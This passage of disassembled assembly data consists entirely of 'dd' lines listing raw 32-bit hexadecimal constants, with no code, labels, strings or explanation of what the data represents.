		dd 0DECA0F13h, 0DC216051h, 2A61F78Bh, 0F0BB9090h, 6E215A54h
		dd 0E1900E0h, 2ABBD854h, 0F8C0289Bh, 133525DEh,	0B5A58C65h
		dd 67FF09D8h, 8DC1625Ch, 0A23A0D79h, 10838EEAh,	1C01FF84h
		dd 15BD85C4h, 95F72AEh,	0EAAD11E3h, 0CB31399Dh,	6BC6F57Ah
		dd 1CC8209Ah, 6EC1F2C0h, 0B9025F77h, 3E9D4A5Bh,	803BDA3Fh
		dd 9509A03Fh, 57993C4Ah
		dd 0FE8B8089h, 0BFF89877h, 72660B78h, 0F2248938h, 0F4198D9h
		dd 4B22804Bh, 2FC077E7h, 539D25F5h, 181D5198h, 5F870197h
		dd 5B1FDBCFh, 502CDC5Eh, 5C51603Bh, 0A9171723h,	1629A9A4h
		dd 0B9107185h, 8C17BCDBh, 0C57BD013h, 0E98D0504h, 7D0159D5h
		dd 9BCDC4Dh, 0FB39DC7Ah, 0B26A8095h, 0BE09A3DFh, 5B24DC9Fh
		dd 0C402B89Ah, 0EA1D4BD0h, 27EDD1E1h, 0DEA79CA8h, 6693D500h
		dd 8D5F95ECh, 753E282Dh, 301D20D5h, 3996071h, 0E775EADh
		dd 5A6B0842h, 251E0D44h, 0F01E0CB9h, 3775A840h,	1A4A5EAh
		dd 3BA9904Eh, 0E6BD2961h, 81B8BEEBh, 5DF6D8CBh,	0BF907001h
		dd 0B0D92AEh, 1989086Eh, 0F671ADh, 0F0ACCC43h, 720EC27Dh
		dd 0FC6D90h, 0D0A1282Eh, 0F62145CDh, 3670AFD3h,	40E7E97h
		dd 5E8277F3h, 232AD83Ah, 0D8499D24h, 443057A7h,	803861DFh
		dd 3BE7CAEBh, 9B301AB2h, 0F0D604A8h, 0EA527BE7h, 0BF4EC921h
		dd 0B2C40DF1h, 0B8A00048h, 8C62F0ABh, 50165EBAh, 71A15531h
		dd 0DDEEF22Fh, 0AFE75B78h, 0E801F6A6h, 65837B66h, 81219B1Ah
		dd 0FFC8223Fh, 0D21D1D57h, 0D412DEh, 0C8BCE695h, 8DD50B2Dh
		dd 6689BB1Ch, 598FA9C9h, 5FCB46D0h, 16AC9890h, 0CDCBF852h
		dd 7B6D23B5h, 0C0021FB8h, 0A2CCB965h, 0B44E7578h, 2305A2C4h
		dd 0A2807CACh, 0ECE68593h, 4E8E1507h, 9E97CD5Ah, 75ABB794h
		dd 0A8B7ED9Bh, 99CB0173h, 7ECAA2F6h, 0DC312A6Ch, 563E9D0Bh
		dd 196BFF30h, 71D5615Ah, 0CD6FF8B2h, 693C560Eh,	1BFCF236h
		dd 7D20B58Fh, 0E2F3B641h, 10034C58h, 5B17064Dh,	1F34AF96h
		dd 2863981h, 96D20914h,	5625B780h, 0A8AC2390h, 0F1BD0116h
		dd 9D4AA9ACh, 4C6A3F80h, 6E4CEF07h, 5B05FB14h, 9D8E02C5h
		dd 45F5105Dh, 78DB84B6h, 0D55CACCCh, 3A844A29h,	0C4D79EBAh
		dd 1BC4D036h, 0FBF264EAh, 9AA73C8h, 0BEAB4E81h,	4C22B82h
		dd 3270F653h, 401D9EE8h, 0A30B334Ah, 6F604600h,	77169F29h
		dd 818995BAh, 2DCD75Eh,	0A4CF4256h, 0A8D53E68h,	1909AAEBh
		dd 97845B21h, 2E34FE09h, 3F9E8AA9h, 5689792Dh, 284BDDDh
		dd 0B6FC9B06h, 10BA570h, 0D50DE99Dh, 3BC04595h,	5AD37B16h
		dd 22C22060h, 240B5ABFh, 6086F39Ah, 80237DB9h, 95E2B866h
		dd 0BA956171h, 601ACDE4h, 0BAB2974Ah, 0E30037F8h, 96CC146Bh
		dd 0E933B350h, 90C1695Ah, 5908C4CAh, 0F5B02E8Eh, 0CD51B51Ah
		dd 0A7E3168h, 0B2B49B3Eh, 0B2FE12C8h, 0A44B88CBh, 6A46099Bh
		dd 18114BD6h, 0B0CE818h, 98005FFAh, 0BADA3444h,	778DC89Ch
		dd 0CFFB9DF0h, 1D2B402Eh, 59E1D78h, 0BD2BCFC8h,	0FE8AAA4Dh
		dd 53121848h, 13C8B351h, 0FF74F780h, 3AA7DDAAh,	1B80F1DAh
		dd 5AE75925h, 91CABC4Ah, 0ADF64B25h, 63B02CE7h,	12723B0h
		dd 990DBF52h, 0C65F374Ch, 4A75A2E2h, 53355587h,	86891591h
		dd 7108EFDCh, 3FD42710h, 844A2610h, 0B565A883h,	0FFE98E90h
		dd 0DB3FE5F4h, 1A0AC050h, 12EF3B6Ah, 0D2859D03h, 8358C1E4h
		dd 0F3295h, 0BB51923Fh,	0F172043Dh, 0E1D3B750h,	0B87E79B1h
		dd 2070932h, 0F5C428EFh, 1B410800h, 0F32EED43h,	3BF00B5Ah
		dd 55F579Dh, 6FEE6A22h,	0EBD004C9h, 9C942FB1h, 0F06BB6FAh
		dd 0BDD26898h, 9420BDF1h, 4EAAAC5Ch, 29ED3E05h,	8F7633AEh
		dd 0C9C8CCE4h, 2D092E40h, 0DC85B1B5h, 42F5F190h, 147757BDh
		dd 0DCBF049Dh, 0AB7665D6h, 0D0AC8212h, 7220758Eh, 0FDA033B9h
		dd 4235C404h, 6FFB6AACh, 940F001Eh, 6DAFFC82h, 8944C131h
		dd 2A0E9D85h, 38E0A38Ah, 0C495CABBh, 46C7535h, 0A8844ECh
		dd 0A98581E6h, 8B5B001Ah, 1A995D8h, 75D2B1DBh, 0A7970CE0h
		dd 7238930Dh, 947B6660h, 0D123C27Dh, 8B9D060h, 0FF0A9C95h
		dd 0F41DF4C2h, 6ADC0909h, 0C0576D02h, 55E7EAE9h, 0AD6CF001h
		dd 95290B39h, 0A1A6D57Ah, 5022480Fh, 53C10B97h,	3CF77082h
		dd 1687B800h, 0C55B7CEFh, 4B85B747h, 78B59986h,	7A0C20DDh
		dd 0BB4795E9h, 8813B612h, 0FEBCEAADh, 146E002h,	0D70E1D95h
		dd 70879116h, 8F3F1BE0h, 0A95A0022h, 0A19E14ADh, 0D2BD8D01h
		dd 0EE50624Ah, 19DAF254h, 11E0B44h, 755762FDh, 0D4718A5Ch
		dd 5B4A4FFAh, 0C17E0FD9h, 2BC1F5F6h, 0DA8B0E61h, 430B6B2Bh
		dd 43481C5Fh, 0D6122B8Fh, 778A490Eh, 0C96090F0h, 8A77117Bh
		dd 6A656DF1h, 8AB50E83h, 5A174416h, 0D8EF4991h,	11110C5Bh
		dd 0A936C44Ah, 41953C0Ch, 0C7DC9C6Eh, 0E6ABE400h, 91F7BF70h
		dd 3E77793Dh, 0FCF2BB71h, 8A49578h, 0C07BE9E5h,	734F8552h
		dd 434A00D7h, 0C3F22D2h, 0DE25C8B7h, 121663A4h,	0B61BB97Ch
		dd 9FA64910h, 9AA85F67h, 0A1510BDDh, 58075E09h,	56090865h
		dd 82D7545Fh, 7EFE9230h, 810AF728h, 5B0CD4EFh, 209D722Bh
		dd 0D1EC2009h, 0D60A9FB8h, 0E584E9C4h, 0CDB18544h, 0D7A8E83Ah
		dd 0C3C750FEh, 107B881Ah, 0A619C48h, 449F66B5h,	0BD2C0110h
		dd 0F592EA65h, 0C898D6A8h, 8B18C06Ch, 8903FF8Dh, 1831259Dh
		dd 3A42056Ch, 3045BD08h, 0FE021B48h, 0D8C98509h, 0BF515353h
		dd 0D362A101h, 0C8FAB37Dh, 0E4023609h, 0A2F3F6F8h, 954861A5h
		dd 0B5017341h, 282B2CE1h, 495B541Ch, 76A10BE7h,	0CDBA30C6h
		dd 4F229395h, 1417EA10h, 16B2FAF6h, 509BDC30h, 5BC99E42h
		dd 532AD830h, 660FDA01h, 1077B920h, 84629E6Eh, 0B0EA528Fh
		dd 85BEFC92h, 0FC2227DCh, 0DB703753h, 0E2C700C5h, 0F3FD09D8h
		dd 1A974F53h, 0AD698264h, 83FF0911h, 0FCFD85B0h, 0AB84C724h
		dd 90C2BCFFh, 1E7125C2h, 7D0C0FBh, 38BE02B9h, 0E73AEDF7h
		dd 0C0496156h, 9CE0CE07h, 0FE8A62D8h, 64696256h, 1D6E01B5h
		dd 0ED7EAD9Bh, 12D3F8BBh, 65CBDC25h, 0B5F7EB50h, 0C2B3808Eh
		dd 2B615198h, 84AB590h,	0DAE8FCF9h, 6B121000h, 3671BA5h
		dd 33D1259Dh, 7B117167h, 0FDE5134Bh, 18BE86Dh, 0AEC082F0h
		dd 0C5B7341Fh, 40E22A08h, 800060A8h, 51BB3CD7h,	2542C1D3h
		dd 4253E1FFh, 0A19070h,	0BFA75A28h, 2F979B6Dh, 20759495h
		dd 0E8500499h, 0C7001645h, 0B054E63Dh, 0E2D64Ah, 89E84C91h
		dd 5DCA7BBFh, 327EB816h, 5B9D30EAh, 9495B9B3h, 5E856991h
		dd 0C0A0CDFFh, 0E1F9591Fh, 0B0F41817h, 0DDD004AAh, 0E3B4AC03h
		dd 6E6D5A19h, 41137EE0h, 0C8AB5987h, 5CAD6025h,	8056B960h
		dd 91D409CBh, 0C700BB4Eh, 2FC0E539h, 60F48595h,	778D7A82h
		dd 3520F0FAh, 0C4614A25h, 0F49DE8FFh, 1917EFA9h, 0A0A1B701h
		dd 9D1C6C5h, 353DE431h,	0BB81CB51h, 3CBF2539h, 23050A76h
		dd 0BF05A9BDh, 8100CDCAh, 31D37DF3h, 0F4BDD95h,	0C42E0E8Dh
		dd 0E856FDDEh, 0B5C601E1h, 0F10E36Eh, 0CCF72C87h, 268B11Dh
		dd 2D5A8A1h, 0A7543CB3h, 0CAAB5E07h, 719E7B99h,	48E83EF5h
		dd 330F9B09h, 5A992D5h,	69A8F9DBh, 614A1120h, 1BAC98B9h
		dd 5BCB008Ch, 1F93DC7Ah, 0A496A983h, 2829A108h,	3759517Ah
		dd 8C35612Bh, 9F9A160Eh, 810036F1h, 3F5BEEEAh, 0E961130Fh
		dd 0DB4DE4EFh, 4085054Bh, 73EC7DF9h, 0D8141700h, 0AC600D7Bh
		dd 0C0445E24h, 3DBC6328h, 0B79FF9BDh, 0B92A94B2h, 71F9C971h
		dd 455B276Ch, 24508E78h, 9086A01h, 0AB542A09h, 6553BBE0h
		dd 89012C5Ah, 0D600F4B3h, 0FA881487h, 0BB6D3CBAh, 0B5702AA7h
		dd 0DE96874Eh, 48BF78D4h, 0DF09A657h, 7E70703Ah, 231CE19Dh
		dd 0EC23BB04h, 5F54C82Fh, 30C40032h, 0B4D215A8h, 2D074E2Bh
		dd 0B634BB66h, 0CBE850F4h, 9161F280h, 20C95B1h,	0B86094E5h
		dd 5F5BD9h, 8CE78141h
		dd 184BD3D8h, 0CC30818Dh, 0F31A5A2Dh, 0BF668072h, 1150681Eh
		dd 0D02810Fh, 0E58BA6B3h, 9F73B83Bh, 0E17E2810h, 0BD2E8CE1h
		dd 12ABD3BFh, 0C09000C2h, 0A9359522h, 4D89160Fh, 0DF75228Fh
		dd 0B41A527Bh, 0AED741B5h, 67A22FC4h, 49661606h, 87817C84h
		dd 8010FB8Eh, 5B39D88Ah, 80D8DB5Ah, 90C5CA93h, 0B0364EC6h
		dd 38973456h, 4F781B0h,	129A663Bh, 0A450AB90h, 0A6E65A05h
		dd 69301CB2h, 8D5A018Eh, 28F91E7Ah, 0AC162B42h,	6125A2B8h
		dd 6D024476h, 0FC32EFC2h, 3A413A30h, 6B9228B6h,	0FC950058h
		dd 0DA6B19E8h, 0CA694A37h, 0AD542E59h, 0F2C21CFCh, 336B005Fh
		dd 9D0BEFDAh, 2D3FD69Fh, 0B7B58AFAh, 0DE5A80BBh, 0A45AE06h
		dd 98092C9Ch, 0DD4C7177h, 0D45D7E25h, 0CD8B0E00h, 752AB5BAh
		dd 0DAE1E3B1h, 9130D731h, 945241Bh, 4E56254Ch, 5DD2A379h
		dd 0D801F13Dh, 0B39153BDh, 76CD1322h, 0EBC4004Dh, 0F9976EC5h
		dd 92135461h, 5E4433D7h, 70AA2AADh, 0BFC781F7h,	1BE69C12h
		dd 0B73AA0B1h, 30A8B16Ah, 742BBE25h, 0C066DA58h, 0E02A5EB4h
		dd 6A109D50h, 779F0B6h,	4F3F32E0h, 871E8166h, 0EA96FA6Ch
		dd 202E69D9h, 5F0F4969h, 80CE4707h, 92692D13h, 0F31242F0h
		dd 9D2B02FCh, 535C0C71h, 668B57E2h, 0B65B4AFAh,	3017B26Dh
		dd 4B3F9D07h, 57EF8242h, 5C0FEC49h, 9D4B6E51h, 5951A97Dh
		dd 0B7D52554h, 0F2CD02AEh, 7B73ED90h, 4AE1F912h, 0CDF0CE36h
		dd 9890BC6Fh, 0E6743609h, 8D40703Dh, 906BE0F3h,	6024EBCCh
		dd 0CE027CFCh, 756180B3h, 0F79464CEh, 9CB105D4h, 0C7154909h
		dd 58A59851h, 8B922DCh,	0A9B50909h, 763AD70Eh, 6398AFE6h
		dd 26A0CC0Dh, 263C3E13h, 0D3E7B4D8h, 5BD63A49h,	0C8B29CA7h
		dd 389C405Fh, 3A309762h, 8907BF96h, 501E2AFBh, 42997D60h
		dd 0BDFCF865h, 6DC03051h, 1DA3AD7Eh, 0C0ECDE80h, 781477A0h
		dd 51276CD4h, 91A95501h, 6D125E76h, 0BC941AE2h,	0DFD5CDC0h
		dd 8F00679Bh, 7A86D45Ah, 5BA2CE59h, 682EE132h, 0A7FB1372h
		dd 240E2CAEh, 0A5A0ABA5h, 0E131B530h, 0AFCDEBBh, 0E9503346h
		dd 13450012h, 0D9F6EE80h, 491982A0h, 7A122429h,	39BD2304h
		dd 79D4E4FFh, 56A7315Ah, 0CB000458h, 139184FAh,	0E1749D31h
		dd 865B5h, 90CCBB56h, 50B53FEAh, 0B7057BDCh, 0C500703Dh
		dd 0E3853EBDh, 863725B1h, 0D427A459h, 0AA9E054h, 0F504924Dh
		dd 5361BF66h, 50A31FB8h, 54DEAE84h, 1344E489h, 0B6AA8F00h
		dd 507D1E96h, 41F602C6h, 95318879h, 5F542477h, 0EED73AB8h
		dd 32719106h, 0A2C65B1Dh, 50E2392Ch, 2F5FDDAAh,	0BBF5CDF8h
		dd 4495D998h, 0DE4AE989h, 9A5B7CA1h, 0BD33CEC1h, 77D23E25h
		dd 0B437D5C1h, 0D12C9C01h, 0F93EDA7Fh, 616AA9A6h, 0CCA37605h
		dd 0B676CA6Ah, 20D2325h, 42E3804Bh, 40027E2Fh, 0FA77D699h
		dd 0B7FC6F7Dh, 73F4C900h, 0F5E469EAh, 53502F1Ch, 0BA009844h
		dd 4B1A752Dh, 96310F1h,	905BAADCh, 107084F3h, 0F6B6054Ah
		dd 0D16BD5F1h, 3A30613Ah, 0C404DF7Ah, 82F19C39h, 0A1AD2915h
		dd 3EB73AFAh, 0A39C03B0h, 1739A100h, 132A834Ah,	3AD2A0F9h
		dd 614FB5D8h, 18A78640h, 515C02CAh, 85089EDDh, 1319C455h
		dd 0FCDA8BFEh, 25B08543h, 0B79F42EEh, 665F6A99h, 8BF8B76Ch
		dd 2B881B1Dh, 1CBCFA40h, 5B2F67FBh, 8CF69431h, 1E0281CDh
		dd 9B6D89F6h, 0C9F3579Dh, 51084826h, 0E75B120Fh, 0CBA65B83h
		dd 0CC1D79A0h, 2ADB84B7h, 0D4871213h, 0D67AADA3h, 9A3FF96Bh
		dd 6D35E54Ch, 257CFCB5h, 166EC5DAh, 0ECCBFDA9h,	0E0F02F2h
		dd 0B8F71D32h, 24AA4D2h, 80E2DDE6h, 0D8D9B489h,	96CEC501h
		dd 0CC98C966h, 505BB949h, 0D81753B5h, 0F53BDA11h, 4ACBFB2h
		dd 0A131BB66h, 0A0438AEFh, 5AC6AEC9h, 12BCA9B4h, 8EE3CEE9h
		dd 17D84484h, 0EB075FA2h, 0A0A29ACDh, 0C838D97Ah, 0B5025EE6h
		dd 8AA6A076h, 7212DBE3h, 0B736ECD7h, 3029068Bh,	46D678FEh
		dd 1F90915h, 40EB7C90h,	0A8A3D579h, 48402E04h, 0CDABB9BEh
		dd 9C8A3AEDh, 0A6CEF2C6h, 2499B512h, 393439AEh,	0E03BA947h
		dd 0C49D460Ah, 9D030943h, 0E4541AEDh, 0DC675452h, 0FC51681Fh
		dd 0A0FD781h, 302E4ACBh, 0B6C380F8h, 210C61B5h,	45C577A0h
		dd 0D40F2B35h, 0EBEC570Fh, 0CB3244A0h, 8B001E7Dh, 30907F67h
		dd 26B7504h, 11FE1D6h, 0E077595Fh, 9A2FD9D8h, 0EC814AEEh
		dd 89EFF0B7h, 0FC319785h, 0B4F81445h, 9720411Bh, 8EF4FEFCh
		dd 0E741C2B0h, 88557C6Ch, 0A11E3212h, 0FE387F25h, 12AA71E4h
		dd 0C2DC20F5h, 12B36630h, 0F4F96735h, 83DD0411h, 0C2228796h
		dd 1A7157h, 0F238137Dh,	1C02566Dh, 8B5B5F95h, 12155ED9h
		dd 80CBBD60h, 0EA882ADEh, 0FFF94F26h, 0F5059025h, 47C04F51h
		dd 9775CB80h, 60520D8Ah, 0ACE145DFh, 291B3700h,	2FC08973h
		dd 179F00B0h, 5DC21660h, 8997C7A0h, 57359A21h, 418006D9h
		dd 5774965Ch, 0AC9F5A87h, 8D950870h, 0FA494E18h, 52076B59h
		dd 3C30BB60h, 2CD2045h,	3EDEC2F1h, 3C5E78E9h, 1D520144h
		dd 0F20AD285h, 97BF023Ch, 292252F1h, 2F32FBE1h,	20163C32h
		dd 8D487EBFh, 0B8F03A4Eh, 43E98023h, 5F1712BFh,	1A97F150h
		dd 5CB86A42h, 522B443Fh, 313239E6h, 0F40D09E8h,	0B2BD5A13h
		dd 0B2F1092Dh, 0B364600h, 258CABC4h, 30EC5FF8h,	9759CB20h
		dd 0A0BD9FDBh, 1FBF0433h, 0AA10326Fh, 0B6F2FDF6h, 0B760345Eh
		dd 414FB934h, 9C09C0Fh,	0AE9A7F65h, 5E7B5DFh, 48AD062Fh
		dd 0FC120DACh, 45654501h, 0D488C02Bh, 562719CDh, 0D302FE5Eh
		dd 6BFF516Eh, 0B30B7D90h, 9C623FFFh, 1423819h, 97B60D49h
		dd 0FF39F88Eh, 0B471C5B8h, 81384998h, 0D52889C7h, 7CE75F48h
		dd 0B9A738EBh, 386696D7h, 8B8EB24Ah, 2DFC452h, 85D22C47h
		dd 0FB7F21CFh, 9B9D01B2h, 7F5F0C2Dh, 0B50959F6h, 0E55F1661h
		dd 0C57EF283h, 0B45C3FC0h, 41BD59CDh, 224BA4BCh, 0AB4BACA2h
		dd 0AFC0A803h, 0FA0AF061h, 0D4A10984h, 5615927h, 0EA132B0Dh
		dd 67AC2CABh, 0CB4E8F8Ah, 0C909561Dh, 7B005864h, 5FDA4392h
		dd 0B2F1E38h, 1534356Eh, 5B4AC278h, 18B282B6h, 4473C30h
		dd 0FFA82285h, 0E02BA6E1h, 4BDD6BAAh, 222ACAF8h, 0E0B7AD25h
		dd 0EEBB8CB9h, 0E52EFF25h, 4120929h, 165CBD57h,	2F2F3035h
		dd 0DF6D213h, 0FB4ED100h, 0E1BDC699h, 0CA304BB4h, 6BA0352Fh
		dd 0CE8C2EAh, 57529C7Ch, 0C1CA2709h, 0C22EED5Dh, 667F5F46h
		dd 94DD4800h, 0A8275D16h, 10E092F0h, 0D2DE4B8Bh, 5E1A4206h
		dd 0E097D43Ah, 4AF7D05h, 886BEDBFh, 0AA6AAC30h,	0AACB8E00h
		dd 0F3815053h, 0FC770A0Bh, 71318908h, 0E8EAC20h, 13B1C195h
		dd 1C85650h, 0C46B00F3h, 0DFA7538Bh, 0A84A277Dh, 16FCBEFCh
		dd 0A86168Ch, 5E21ACB4h, 0EBD247F8h, 0AC74B9Bh,	68FCD05Ah
		dd 0D82C4297h, 0C325E955h, 0C741D144h, 0E651E6h, 481F52C4h
		dd 0B11783E7h, 61FFC8D7h, 0D2658DF2h, 0E82A3857h, 0F034890Eh
		dd 13000203h, 0F0C5EAD7h, 4F7A4A7Ch, 5C5EC15h, 259D41EBh
		dd 1D5FB81h, 3F5357C2h,	0DC3C0571h, 943DFD80h, 8900AFB8h
		dd 0DE044324h, 78B1488h, 29E1F583h, 0AE13348Dh,	0DFF96F72h
		dd 8109FFECh, 715ED8EBh, 1686A4FDh, 7F9EA1C9h, 18B2E1E6h
		dd 0DB030BECh, 863F5CB8h, 1FC1B081h, 897132CAh,	0EEDFFB5Ch
		dd 2E7923CEh, 40656DA7h, 6EE83BFDh, 66ED982Dh, 0B3501704h
		dd 0FBC1C6BFh, 568C4525h, 0B80812DCh, 0EEF6B537h, 4F0FB9A0h
		dd 27AB5D02h, 5F123A36h
		dd 611F9100h, 3D1E0168h, 588B625Fh, 4B858AD6h, 403EFE87h
		dd 8051B7C9h, 63C7AC91h, 0D2099FC5h, 44523146h,	96DC00F5h
		dd 78CF66F4h, 24003649h, 9CCA58B6h, 12727EF8h, 0BAE38BB4h
		dd 9FBE07C4h, 0B80B8A37h, 28312917h, 883A0CF1h,	5002DFF1h
		dd 0F39C24BBh, 6F37754Ch, 0BB053180h, 1DD295C1h, 0C2D11834h
		dd 7D28D3F7h, 508FE555h, 102DA070h, 570EC2F8h, 4770ABF3h
		dd 0A1AF4B02h, 0EA51DDBBh, 8058F75Ch, 6C397CBh,	9CFF288Ah
		dd 512D5CD9h, 53095C4h,	7BEB3DE9h, 6CE226A8h, 562D6226h
		dd 0EF607711h, 50A2634Dh, 4BC58664h, 13908E28h,	0B37B044Fh
		dd 5DBCD26h, 382A386Fh,	45F20C8h, 6400ECA6h, 0FF3A9579h
		dd 54057C9Ah, 877FB406h, 0DE2BECF1h, 195DC15Eh,	0F62A2056h
		dd 5BBB09F9h, 1AEF5FFDh, 2A9CBCE0h, 0E80212D6h,	668DBFEFh
		dd 2371B101h, 7CFDDD2Ah, 4F63808Dh, 5B99C461h, 2CCAFC39h
		dd 0CB4EC480h, 7555128Ch, 0ED699390h, 0D2B02C00h, 0E3EC9401h
		dd 0BAA1BFCEh, 54A8F380h, 0D2DEEB99h, 0F1F7CCC0h, 6609FDE4h
		dd 56EE3CBFh, 2D4DEBFAh, 64B19E41h, 938AC27Bh, 26A98D8Eh
		dd 0BC811655h, 5A1FD4D5h, 0DA415605h, 67D1842Ah, 0D617FC2Bh
		dd 61E85320h, 0CF0B022Fh, 92AC46D7h, 46D6CE5Ch,	0F863001Ch
		dd 0F782716Fh, 0A5FE1ED7h, 29DDC180h, 3A2D1DBDh, 0C6B8CEB2h
		dd 0FC0B0E00h, 6207D286h, 2606049h, 0FDBD2361h,	0A73B3B94h
		dd 59CA6153h, 0BC57FCF4h, 0D034478Eh, 898D638Fh, 5B0211BFh
		dd 2F235EC6h, 0DB01B8B7h, 0AF2E11D6h, 0F1DA7892h, 7D8C2022h
		dd 3DE71A4Ah, 2D043F48h, 0B80357B7h, 0DB80C1D3h, 0DB6F6A82h
		dd 0D03EC74Bh, 0F67DB202h, 639E40C2h, 0A400BB92h, 55C60194h
		dd 0B5F8A949h, 5378634Ch, 0AF69E5BCh, 7C1FF2B0h, 0F2B04917h
		dd 0DAE7A0Eh, 2A998529h, 0B262028h, 908BB28Bh, 1453BBB3h
		dd 3329C513h, 43FD2097h, 95015837h, 46351013h, 0F27F6092h
		dd 4E2A8BDh, 93166342h,	746DC7B9h, 0A2DFB8F0h, 9D242F20h
		dd 964791ADh, 0DE1A2460h, 0C3BC5E5Bh, 0BBFC61CCh, 9678F014h
		dd 247113E9h, 803C2BAEh, 0E23225AAh, 12F5B415h,	4B6FAA2Ch
		dd 43001D23h, 88D67061h, 11360B9Ch, 4AF1128Eh, 593F73A5h
		dd 0B5821814h, 454D559h, 3CA8D13Fh, 1AA5AAFBh, 5713282Eh
		dd 0B533B788h, 0C450A245h, 0E9CD11D2h, 6BB85F13h, 233D2Eh
		dd 0D791AF70h, 7D17F2A8h, 0A71FBCDCh, 0DCC60289h, 7332C09Ah
		dd 2D002768h, 1BEE5FE0h, 43751D6h, 0E5533126h, 0CCCFEADBh
		dd 0CB0E646h, 7D013EE5h, 0FEE0B30h, 7060672Ah, 2046906Eh
		dd 0E92511D5h, 0D43CE276h, 3B00DC83h, 6EB95786h, 8326C5Fh
		dd 28499D03h, 0F0C18B09h, 0A5EDEB32h, 0AD5A802Ch, 0D75CAD23h
		dd 0FF43A65h, 8147D880h, 8535C4D7h, 514A6C7Eh, 3B20A5F5h
		dd 0EC715E21h, 5ADBD6EAh, 0EB8B5285h, 0D0509E4Ch, 0AFB98D8h
		dd 27C19D2Bh, 0B7973E64h, 0EBD5F0FBh, 0FCE83C61h, 0A93A2DE7h
		dd 0A628B9D5h, 844BFD2h, 0D0B8FA8Bh, 0B8B7B94Ah, 0E8405AAEh
		dd 1932C0C2h, 2A60183Dh, 9F94CCC1h, 0FBC030EDh,	0B835C3Ch
		dd 15755694h, 0CD023CE4h, 1AC69C38h, 5FAEC1BEh,	5C462A5h
		dd 63197000h, 0E9E17837h, 0A5263FB3h, 0CAEB289Dh, 0AD60D5h
		dd 0C93BED9h, 0DCB55A7Ch, 0BD8909F3h, 75344257h, 1964106Dh
		dd 11B67F60h, 0E7DC0E17h, 26216D8Dh, 2EC5992Fh,	6AEA1775h
		dd 0FACD0127h, 1FE19501h, 5935E33Ah, 9DACDDh, 0BD4C34E6h
		dd 0DDBCF13Fh, 94978A72h, 130453Bh, 432319Ah, 107DED81h
		dd 0FC026A00h, 1B3D5095h, 0ED508096h, 865B3CDh,	0A639BD0Bh
		dd 0E381E0FBh, 0E92D111Dh, 0C78F5121h, 0F92D9406h, 1FEBC21h
		dd 0B2E94E2Fh, 88525EACh, 17C9BCh, 0B85CDF81h, 199742E5h
		dd 0BDD989B3h, 250E196h, 2B17BFD3h, 0FEE1EADDh,	0F71FDC74h
		dd 0CB814DB7h, 3AC0F166h, 0D09A672Eh, 3857F7CFh, 60FF534Ah
		dd 0DBD8D1Ah, 6EDEBB85h, 0E41C315Bh, 55842539h,	0EB27A1B5h
		dd 13F0A5B6h, 881F6CBDh, 39D3CFC2h, 0F9A009BBh,	34116073h
		dd 3FF38101h, 2E45D52Fh, 8BF5802h, 52005704h, 0E770D61h
		dd 3A970082h, 970FC058h, 52114224h, 0C54AAAACh,	0B432BE2Dh
		dd 64A7F789h, 0CBFAF3h,	1AA508BEh, 8D168B5Bh, 98BF0DCDh
		dd 572D60C9h, 3FDF535Eh, 5A7CC7AFh, 34BFC113h, 4846ACA2h
		dd 0B51122E3h, 6588D15Eh, 4EC89926h, 0FAF51301h, 0DE5262D1h
		dd 0F7E953h, 0ECC34D37h, 1BA400E0h, 0BFF38944h,	0B17B525h
		dd 4309823Dh, 4004F904h, 133D9589h, 942BF581h, 0C0F5896Eh
		dd 2D4ABD09h, 27F434FEh, 108662DCh, 0BA187F89h,	33F05A03h
		dd 5E61391Bh, 0E4E9A2FCh, 8DFC4B8Ah, 0E8652B36h, 2B20A2ECh
		dd 0C461F925h, 0A5384542h, 0BF446C9Ah, 0BB351290h, 8C991100h
		dd 0F374129Bh, 6F8400B8h, 0CC5B254Dh, 64311AC4h, 11A166B2h
		dd 8110AB04h, 99BFC2D9h, 0C14F5C6Dh, 3E2D691Ah,	28D874DBh
		dd 2300F23Eh, 47C17DE9h, 0B759B529h, 0A72629F1h, 0A80324DEh
		dd 0A58D1FC1h, 0F369A371h, 0F58650E4h, 4B41B958h, 31E83DB9h
		dd 0CCF8AA00h, 0A1D19653h, 84C14B1Fh, 80F1B8A9h, 0C587BD24h
		dd 2BDB13CBh, 69FC0127h, 3FFC5F45h, 0AB5A516Eh,	0D97E2261h
		dd 2F831D3Ch, 23C07164h, 0B525892Eh, 0BDC6C047h, 4F204719h
		dd 1CF2F2F7h, 16A9130h,	0B66C6360h, 7A64D570h, 0DAFD4A84h
		dd 7BBFC01h, 2E72DFD9h,	18238C6Ah, 30D57400h, 9BFDD13h
		dd 3A07EF0Fh, 0E4955EE6h, 53AA000Ah, 0D6E18F54h, 7201E8CFh
		dd 59DA6D8Eh, 642EEDEEh, 1863C288h, 0BD5E885Ch,	2BFB41D0h
		dd 0B2A45EE7h, 0BBB31286h, 608E57E2h, 0E9A8AD12h, 0BE071C3Ch
		dd 837BA643h, 0E41288C2h, 7CE63335h, 0EE911h, 0A87D66C2h
		dd 17E8878h, 8155CE82h,	3015FEC7h, 0F5AC51Eh, 0A85F02B7h
		dd 2101D7CFh, 12D5C381h, 0B36A57D9h, 32F49ECDh,	0E007E6BEh
		dd 0C2D865h, 0BBB852FFh, 6CD4E549h, 21551497h, 17F103E7h
		dd 4BD8F019h, 3FC8BF4Bh, 4A2E00F2h, 358A88C4h, 403DE0A8h
		dd 7152050Ah, 0E2BE970Fh, 5BBD5EB8h, 8867B292h,	70CDA863h
		dd 6C608199h, 0BF3819Fh, 12F8DFE3h, 690D027Ah, 4D8D31E5h
		dd 6E5FABC9h, 810430ACh, 0B802AED3h, 0DB9B5E4Bh, 0C4F57C87h
		dd 4102B533h, 41FB914h,	0A90C04FEh, 3C8CAA2Eh, 0AE10B7E8h
		dd 51B52011h, 0CDDD6961h, 696C4CCCh, 74E72A4Ah,	0F49D8B17h
		dd 8A2F90F9h, 0FEECE8DCh, 0A9A4A86Ah, 9647951Eh, 79502632h
		dd 20D7252Bh, 0FD33E47Dh, 16140065h, 3A4CDB0Eh,	0A51BA820h
		dd 0A5A58BFAh, 22C5CCABh, 66F8B45Eh, 72F3C6A0h,	3109AAB0h
		dd 54895B1Bh, 16DA64C2h, 585A3647h, 0C7AF6D1Bh,	0A194D221h
		dd 75D79C81h, 5C2860DCh, 560B362Fh, 0B6532DE3h,	49AF4EBDh
		dd 6A71F5BEh, 8CCF8082h, 9A3BE2E9h, 491F56DEh, 0FDE9A76Dh
		dd 0F813FFC6h, 6BAA8ABBh, 11823F1h, 0E810B0DAh,	0D23832EDh
		dd 0BF0267B3h, 7AA9FB5Fh, 91B1B5D5h, 14DE801Ah,	2540EBF1h
